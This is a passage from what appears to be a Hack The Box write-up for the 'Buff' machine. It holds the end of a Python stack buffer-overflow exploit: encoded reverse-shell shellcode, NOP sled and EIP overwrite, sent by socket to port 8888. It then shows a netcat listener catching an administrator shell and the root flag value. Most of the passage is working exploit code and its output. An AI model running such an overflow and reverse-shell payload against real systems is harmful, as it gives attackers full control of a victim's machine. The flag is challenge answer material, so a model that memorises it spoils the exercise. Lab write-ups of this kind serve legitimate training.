reverse += b"\xe3\xe1\x77\x6e\xe0\xf4\x54\x05\x1c\x7c\x5b\xc9"
reverse += b"\x94\xc6\x78\xcd\xfd\x9d\xe1\x54\x58\x73\x1d\x86"
reverse += b"\x03\x2c\xbb\xcd\xae\x39\xb6\x8c\xa6\x8e\xfb\x2e"
reverse += b"\x37\x99\x8c\x5d\x05\x06\x27\xc9\x25\xcf\xe1\x0e"
reverse += b"\x49\xfa\x56\x80\xb4\x05\xa7\x89\x72\x51\xf7\xa1"
reverse += b"\x53\xda\x9c\x31\x5b\x0f\x32\x61\xf3\xe0\xf3\xd1"
reverse += b"\xb3\x50\x9c\x3b\x3c\x8e\xbc\x44\x96\xa7\x57\xbf"
reverse += b"\x71\xc2\xad\xae\xaf\xba\xb3\xd0\x8f\xc1\x3d\x36"
reverse += b"\xa5\x25\x68\xe1\x52\xdf\x31\x79\xc2\x20\xec\x04"
reverse += b"\xc4\xab\x03\xf9\x8b\x5b\x69\xe9\x7c\xac\x24\x53"
reverse += b"\x2a\xb3\x92\xfb\xb0\x26\x79\xfb\xbf\x5a\xd6\xac"
reverse += b"\xe8\xad\x2f\x38\x05\x97\x99\x5e\xd4\x41\xe1\xda"
reverse += b"\x03\xb2\xec\xe3\xc6\x8e\xca\xf3\x1e\x0e\x57\xa7"
reverse += b"\xce\x59\x01\x11\xa9\x33\xe3\xcb\x63\xef\xad\x9b"
reverse += b"\xf2\xc3\x6d\xdd\xfa\x09\x18\x01\x4a\xe4\x5d\x3e"
reverse += b"\x63\x60\x6a\x47\x99\x10\x95\x92\x19\x30\x74\x36"
reverse += b"\x54\xd9\x21\xd3\xd5\x84\xd1\x0e\x19\xb1\x51\xba"
reverse += b"\xe2\x46\x49\xcf\xe7\x03\xcd\x3c\x9a\x1c\xb8\x42"
reverse += b"\x09\x1c\xe9"

overrun    = b"C" * (1500 - len(padding1 + NOPS + EIP + reverse))

buf = padding1 + EIP + NOPS + reverse + overrun

try:
          s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          s.connect((target,8888))
```

```
        s.send(buf)
except Exception as e:
        print(sys.exc_value)
```

Admin shell popped

```
┌─[user@parrot]─[~/Desktop/htb/buff]
└──╼ $rlwrap nc -nlvp 8443
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::8443
Ncat: Listening on 0.0.0.0:8443
Ncat: Connection from 10.10.10.198.
Ncat: Connection from 10.10.10.198:49822.
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

whoami
whoami
buff\administrator

C:\Windows\system32>
```

Root flag

```
ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::c9ff:1691:d9c1:8ab1%10
   IPv4 Address. . . . . . . . . . . : 10.10.10.198
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.10.10.2

hostname
hostname
BUFF

dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\Users\Administrator\Desktop

18/07/2020  17:36    <DIR>          .
18/07/2020  17:36    <DIR>          ..
16/06/2020  16:41             1,417 Microsoft Edge.lnk
06/09/2021  20:44                34 root.txt
               2 File(s)          1,451 bytes
               2 Dir(s)   9,810,726,912 bytes free

type root.txt
type root.txt
7e448deb6ebc8b381ae303e7180e0a5f

C:\Users\Administrator\Desktop>
```